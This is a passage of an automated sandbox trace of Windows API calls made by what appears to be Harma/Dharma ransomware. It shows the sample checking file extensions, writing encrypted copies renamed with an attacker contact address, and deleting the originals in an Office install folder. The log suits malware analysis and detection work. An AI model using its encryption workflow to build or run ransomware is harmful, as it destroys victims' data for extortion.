(lpString=".xlsx") returned 5 [0167.654] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0167.654] lstrlenW (lpString=".ppt") returned 4 [0167.654] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0167.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0167.654] lstrlenW (lpString=".zip") returned 4 [0167.654] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0167.654] lstrlenW (lpString=".rar") returned 4 [0167.654] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0167.654] lstrlenW (lpString=".bz2") returned 4 [0167.654] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0167.654] lstrlenW (lpString=".7z") returned 3 [0167.654] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0167.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0167.655] lstrlenW (lpString=".dbf") returned 4 [0167.655] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0167.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0167.655] lstrlenW (lpString=".1cd") returned 4 [0167.655] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0167.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0167.655] lstrlenW (lpString=".jpg") returned 4 [0167.655] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0167.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0167.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0167.655] lstrlenW (lpString=".doc") returned 4 [0167.655] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0167.655] lstrlenW (lpString=".docx") returned 5 [0167.655] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0167.655] lstrlenW (lpString=".pdf") returned 4 [0167.655] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0167.655] lstrlenW (lpString=".xls") returned 4 [0167.655] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0167.655] lstrlenW (lpString=".xlsx") returned 5 [0167.655] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0167.655] lstrlenW (lpString=".ppt") returned 4 [0167.655] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0167.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0167.655] lstrlenW (lpString=".zip") returned 4 [0167.655] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0167.655] lstrlenW (lpString=".rar") returned 4 [0167.655] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0167.655] lstrlenW (lpString=".bz2") returned 4 [0167.656] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0167.656] lstrlenW (lpString=".7z") returned 3 [0167.656] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0167.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0167.656] lstrlenW (lpString=".dbf") returned 4 [0167.656] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0167.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0167.656] lstrlenW (lpString=".1cd") returned 4 [0167.656] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0167.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL") returned 54 [0167.656] lstrlenW (lpString=".jpg") returned 4 [0167.656] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0167.656] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0167.656] lstrlenW (lpString="BCSAutogen.dll") returned 14 [0167.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsautogen.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0167.657] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=50048) returned 1 [0167.657] CloseHandle (hObject=0x338) returned 1 [0167.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsautogen.dll")) returned 0x20 [0167.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\bcsautogen.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsautogen.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0167.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0167.657] lstrlenW (lpString=".doc") returned 4 [0167.657] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0167.658] lstrlenW (lpString=".docx") returned 5 [0167.658] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0167.658] lstrlenW (lpString=".pdf") returned 4 [0167.658] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0167.658] lstrlenW (lpString=".xls") returned 4 [0167.658] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0167.658] lstrlenW (lpString=".xlsx") returned 5 [0167.658] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0167.658] lstrlenW (lpString=".ppt") returned 4 [0167.658] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0167.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0167.658] lstrlenW (lpString=".zip") returned 4 [0167.658] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0167.658] lstrlenW (lpString=".rar") returned 4 [0167.658] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0167.658] lstrlenW (lpString=".bz2") returned 4 [0167.658] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0167.658] lstrlenW (lpString=".7z") returned 3 [0167.658] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0167.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0167.658] lstrlenW (lpString=".dbf") returned 4 [0167.658] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0167.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0167.658] lstrlenW (lpString=".1cd") returned 4 [0167.658] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0167.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0167.658] lstrlenW (lpString=".jpg") returned 4 [0167.658] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0167.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0167.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0167.659] lstrlenW (lpString=".doc") returned 4 [0167.659] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0167.659] lstrlenW (lpString=".docx") returned 5 [0167.659] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0167.659] lstrlenW (lpString=".pdf") returned 4 [0167.659] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0167.659] lstrlenW (lpString=".xls") returned 4 [0167.659] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0167.659] lstrlenW (lpString=".xlsx") returned 5 [0167.659] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0167.659] lstrlenW (lpString=".ppt") returned 4 [0167.659] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0167.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0167.659] lstrlenW (lpString=".zip") returned 4 [0167.659] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0167.659] lstrlenW (lpString=".rar") returned 4 [0167.659] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0167.659] lstrlenW (lpString=".bz2") returned 4 [0167.659] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0167.659] lstrlenW (lpString=".7z") returned 3 [0167.659] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0167.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0167.659] lstrlenW (lpString=".dbf") returned 4 [0167.659] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0167.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0167.659] lstrlenW (lpString=".1cd") returned 4 [0167.659] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0167.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll") returned 57 [0167.659] lstrlenW (lpString=".jpg") returned 4 [0167.660] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0167.660] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0167.660] lstrlenW (lpString="BCSClient.Msg.dll") returned 17 [0167.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclient.msg.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0167.660] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=39776) returned 1 [0167.660] CloseHandle (hObject=0x338) returned 1 [0167.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclient.msg.dll")) returned 0x20 [0167.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclient.msg.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclient.msg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll") returned 60 [0167.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll") returned 60 [0167.661] lstrlenW (lpString=".doc") returned 4 [0167.661] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0167.661] lstrlenW (lpString=".docx") returned 5 [0167.661] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0167.661] lstrlenW (lpString=".pdf") returned 4 [0167.661] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0167.661] lstrlenW (lpString=".xls") returned 4 [0167.661] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0167.661] lstrlenW (lpString=".xlsx") returned 5 [0167.661] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0167.661] lstrlenW (lpString=".ppt") returned 4 [0167.661] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0167.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll") returned 60 [0167.661] lstrlenW (lpString=".zip") returned 4 [0167.661] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0167.662] lstrlenW (lpString=".rar") returned 4 [0167.662] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0167.662] lstrlenW (lpString=".bz2") returned 4 [0167.662] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0167.662] lstrlenW (lpString=".7z") returned 3 [0167.662] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0167.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll") returned 60 [0167.662] lstrlenW (lpString=".dbf") returned 4 [0167.662] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0167.764] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.764] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclientmanifest.man.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0167.765] GetLastError () returned 0x0 [0167.765] ReadFile (in: hFile=0x3a0, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x6886, lpOverlapped=0x0) returned 1 [0167.891] WriteFile (in: hFile=0x218, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x6890, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x6890, lpOverlapped=0x0) returned 1 [0167.892] ReadFile (in: hFile=0x3a0, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0167.893] WriteFile (in: hFile=0x218, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0167.893] SetEndOfFile (hFile=0x218) returned 1 [0167.893] CloseHandle (hObject=0x218) returned 1 [0167.893] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.893] SetEndOfFile (hFile=0x3a0) returned 1 [0167.896] CloseHandle (hObject=0x3a0) returned 1 [0167.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0167.911] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclientmanifest.man")) returned 1 [0167.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0167.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0167.942] lstrlenW (lpString=".doc") returned 4 [0167.942] lstrcmpiW (lpString1=".doc", lpString2=".man") returned -1 [0167.942] lstrlenW (lpString=".docx") returned 5 [0167.942] lstrcmpiW (lpString1=".docx", lpString2="t.man") returned -1 [0167.942] lstrlenW (lpString=".pdf") returned 4 [0167.942] lstrcmpiW (lpString1=".pdf", lpString2=".man") returned 1 [0167.942] lstrlenW (lpString=".xls") returned 4 [0167.942] lstrcmpiW (lpString1=".xls", lpString2=".man") returned 1 [0167.942] lstrlenW (lpString=".xlsx") returned 5 [0167.942] lstrcmpiW (lpString1=".xlsx", lpString2="t.man") returned -1 [0167.942] lstrlenW (lpString=".ppt") returned 4 [0167.942] lstrcmpiW (lpString1=".ppt", lpString2=".man") returned 1 [0167.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0167.942] lstrlenW (lpString=".zip") returned 4 [0167.942] lstrcmpiW (lpString1=".zip", lpString2=".man") returned 1 [0167.942] lstrlenW (lpString=".rar") returned 4 [0167.942] lstrcmpiW (lpString1=".rar", lpString2=".man") returned 1 [0167.942] lstrlenW (lpString=".bz2") returned 4 [0167.942] lstrcmpiW (lpString1=".bz2", lpString2=".man") returned -1 [0167.942] lstrlenW (lpString=".7z") returned 3 [0167.943] lstrcmpiW (lpString1=".7z", lpString2="man") returned -1 [0167.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0167.943] lstrlenW (lpString=".dbf") returned 4 [0167.943] lstrcmpiW (lpString1=".dbf", lpString2=".man") returned -1 [0167.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0167.943] lstrlenW (lpString=".1cd") returned 4 [0167.943] lstrcmpiW (lpString1=".1cd", lpString2=".man") returned -1 [0167.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0167.943] lstrlenW (lpString=".jpg") returned 4 [0167.943] lstrcmpiW (lpString1=".jpg", lpString2=".man") returned -1 [0167.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0167.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0167.943] lstrlenW (lpString=".doc") returned 4 [0167.943] lstrcmpiW (lpString1=".doc", lpString2=".man") returned -1 [0167.943] lstrlenW (lpString=".docx") returned 5 [0167.943] lstrcmpiW (lpString1=".docx", lpString2="t.man") returned -1 [0167.943] lstrlenW (lpString=".pdf") returned 4 [0167.943] lstrcmpiW (lpString1=".pdf", lpString2=".man") returned 1 [0167.943] lstrlenW (lpString=".xls") returned 4 [0167.943] lstrcmpiW (lpString1=".xls", lpString2=".man") returned 1 [0167.943] lstrlenW (lpString=".xlsx") returned 5 [0167.943] lstrcmpiW (lpString1=".xlsx", lpString2="t.man") returned -1 [0167.943] lstrlenW (lpString=".ppt") returned 4 [0167.943] lstrcmpiW (lpString1=".ppt", lpString2=".man") returned 1 [0167.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0167.943] lstrlenW (lpString=".zip") returned 4 [0167.943] lstrcmpiW (lpString1=".zip", lpString2=".man") returned 1 [0167.943] lstrlenW (lpString=".rar") returned 4 [0167.943] lstrcmpiW (lpString1=".rar", lpString2=".man") returned 1 [0167.943] lstrlenW (lpString=".bz2") returned 4 [0167.943] lstrcmpiW (lpString1=".bz2", lpString2=".man") returned -1 [0167.944] lstrlenW (lpString=".7z") returned 3 [0167.944] lstrcmpiW (lpString1=".7z", lpString2="man") returned -1 [0167.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0167.944] lstrlenW (lpString=".dbf") returned 4 [0167.944] lstrcmpiW (lpString1=".dbf", lpString2=".man") returned -1 [0167.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0167.944] lstrlenW (lpString=".1cd") returned 4 [0167.944] lstrcmpiW (lpString1=".1cd", lpString2=".man") returned -1 [0167.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0167.944] lstrlenW (lpString=".jpg") returned 4 [0167.944] lstrcmpiW (lpString1=".jpg", lpString2=".man") returned -1 [0167.944] lstrcmpiW (lpString1=".BDR", lpString2=".harma") returned -1 [0167.944] lstrlenW (lpString="MSART12.BDR") returned 11 [0167.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0167.945] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=58756) returned 1 [0167.945] CloseHandle (hObject=0x2e8) returned 1 [0167.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr")) returned 0x20 [0167.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0167.945] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.945] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0167.951] GetLastError () returned 0x0 [0167.951] ReadFile (in: hFile=0x2e8, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0xe584, lpOverlapped=0x0) returned 1 [0168.020] WriteFile (in: hFile=0x390, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xe590, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xe590, lpOverlapped=0x0) returned 1 [0168.022] ReadFile (in: hFile=0x2e8, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0168.022] WriteFile (in: hFile=0x390, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xea, lpOverlapped=0x0) returned 1 [0168.022] SetEndOfFile (hFile=0x390) returned 1 [0168.022] CloseHandle (hObject=0x390) returned 1 [0168.022] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.023] SetEndOfFile (hFile=0x2e8) returned 1 [0168.025] CloseHandle (hObject=0x2e8) returned 1 [0168.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.037] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr")) returned 1 [0168.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0168.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0168.040] lstrlenW (lpString=".doc") returned 4 [0168.040] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0168.040] lstrlenW (lpString=".docx") returned 5 [0168.040] lstrcmpiW (lpString1=".docx", lpString2="2.BDR") returned -1 [0168.040] lstrlenW (lpString=".pdf") returned 4 [0168.040] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0168.040] lstrlenW (lpString=".xls") returned 4 [0168.040] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0168.040] lstrlenW (lpString=".xlsx") returned 5 [0168.040] lstrcmpiW (lpString1=".xlsx", lpString2="2.BDR") returned -1 [0168.040] lstrlenW (lpString=".ppt") returned 4 [0168.040] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0168.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0168.040] lstrlenW (lpString=".zip") returned 4 [0168.040] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0168.040] lstrlenW (lpString=".rar") returned 4 [0168.040] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0168.040] lstrlenW (lpString=".bz2") returned 4 [0168.040] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0168.040] lstrlenW (lpString=".7z") returned 3 [0168.040] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0168.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0168.040] lstrlenW (lpString=".dbf") returned 4 [0168.040] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0168.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0168.041] lstrlenW (lpString=".1cd") returned 4 [0168.041] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0168.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0168.041] lstrlenW (lpString=".jpg") returned 4 [0168.041] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0168.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0168.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0168.041] lstrlenW (lpString=".doc") returned 4 [0168.041] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0168.041] lstrlenW (lpString=".docx") returned 5 [0168.041] lstrcmpiW (lpString1=".docx", lpString2="2.BDR") returned -1 [0168.041] lstrlenW (lpString=".pdf") returned 4 [0168.041] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0168.041] lstrlenW (lpString=".xls") returned 4 [0168.041] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0168.041] lstrlenW (lpString=".xlsx") returned 5 [0168.041] lstrcmpiW (lpString1=".xlsx", lpString2="2.BDR") returned -1 [0168.041] lstrlenW (lpString=".ppt") returned 4 [0168.041] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0168.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0168.041] lstrlenW (lpString=".zip") returned 4 [0168.041] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0168.041] lstrlenW (lpString=".rar") returned 4 [0168.041] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0168.041] lstrlenW (lpString=".bz2") returned 4 [0168.041] lstrcmpiW 